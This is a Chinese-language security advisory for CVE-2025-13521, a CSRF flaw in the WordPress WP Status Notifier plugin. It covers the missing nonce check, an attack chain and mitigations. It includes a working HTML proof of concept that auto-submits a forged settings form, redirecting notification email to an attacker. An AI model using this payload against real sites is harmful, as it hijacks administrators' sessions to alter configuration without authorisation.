CVE-2025-13521 WordPress WP Status Notifier插件CSRF漏洞

漏洞信息

漏洞编号

CVE-2025-13521

漏洞类型

CSRF（跨站请求伪造）

CVSS评分

4.3 中危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

WP Status Notifier插件（WordPress）

漏洞概述

CVE-2025-13521是WordPress WP Status Notifier插件中的一个跨站请求伪造（CSRF）漏洞。该插件用于在WordPress网站上通知状态变更，但在1.0及以下所有版本中，设置更新功能存在严重的安全缺陷。由于缺少正确的nonce验证机制，攻击者可以构造恶意请求，诱骗已登录的管理员用户执行非预期的操作。攻击者需要诱导管理员点击特制的链接或访问包含恶意表单的网页，利用管理员的已认证会话执行插件设置更新操作。虽然CVSS评分仅为4.3（中危），但此漏洞可被用于修改插件配置，可能导致网站功能异常或被进一步利用。漏洞由Wordfence安全团队于2026年1月7日披露，建议所有使用该插件的用户及时采取防护措施。

技术细节

该漏洞存在于WP Status Notifier插件的options-page.php文件中，具体位于设置更新功能部分。问题根源是缺少或错误的CSRF token（nonce）验证。在WordPress插件开发中，正确的CSRF防护需要在表单中添加wp_nonce_field()生成的token，并在处理请求时使用wp_verify_nonce()进行验证。该插件在处理settings update功能时未能正确实现这一验证机制。攻击者可以创建一个包含隐藏表单的恶意网页，当管理员访问或点击链接时，浏览器会自动向目标网站的插件设置端点发送POST请求。由于浏览器会自动携带目标网站的cookies，服务器会认为这是来自管理员的合法请求。攻击者可以借此修改插件的任何设置，如通知邮箱、状态阈值等配置。漏洞利用的关键条件是：攻击者需要能够诱骗管理员点击恶意链接，且管理员在点击时必须保持登录状态。

攻击链分析

STEP 1

步骤1

攻击者创建包含恶意表单的钓鱼页面，该表单指向目标WordPress网站的WP Status Notifier插件设置更新端点

STEP 2

步骤2

攻击者通过钓鱼邮件、社交工程或其他方式诱导目标网站的管理员访问恶意页面

STEP 3

步骤3

管理员的浏览器自动提交POST请求到目标网站，由于浏览器自动携带有效的会话cookie，服务器认为这是合法的管理员操作

STEP 4

步骤4

插件的设置更新功能因缺少nonce验证而接受攻击者构造的请求，成功修改插件配置

STEP 5

步骤5

攻击者可能修改通知邮箱接收敏感信息、禁用安全功能或设置异常参数，影响网站正常运行

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!DOCTYPE html> <html> <head> <title>Status Update</title> </head> <body> <h1>Please wait...</h1> <form action="http://target-wordpress-site/wp-admin/admin.php?page=wp-status-notifier-settings" method="POST" id="csrfForm">  <input type="hidden" name="wsn_settings[notification_email]" value="[email protected]"> <input type="hidden" name="wsn_settings[enable_notifications]" value="1"> <input type="hidden" name="wsn_settings[status_threshold]" value="999"> <input type="hidden" name="action" value="update"> <input type="hidden" name="option_page" value="wsn_settings"> </form> <script> // Auto-submit form when page loads document.getElementById('csrfForm').submit(); </script> </body> </html>

影响范围

WP Status Notifier <= 1.0（所有版本均受影响）

防御指南

临时缓解措施

如果无法立即升级插件，可以临时采取以下措施：在WordPress配置中添加CSRF保护常量；使用安全插件启用全局CSRF防护；限制管理员账户的使用，避免从不可信的网络访问后台；定期检查插件设置是否被意外修改；考虑暂时禁用该插件直到官方发布修复版本。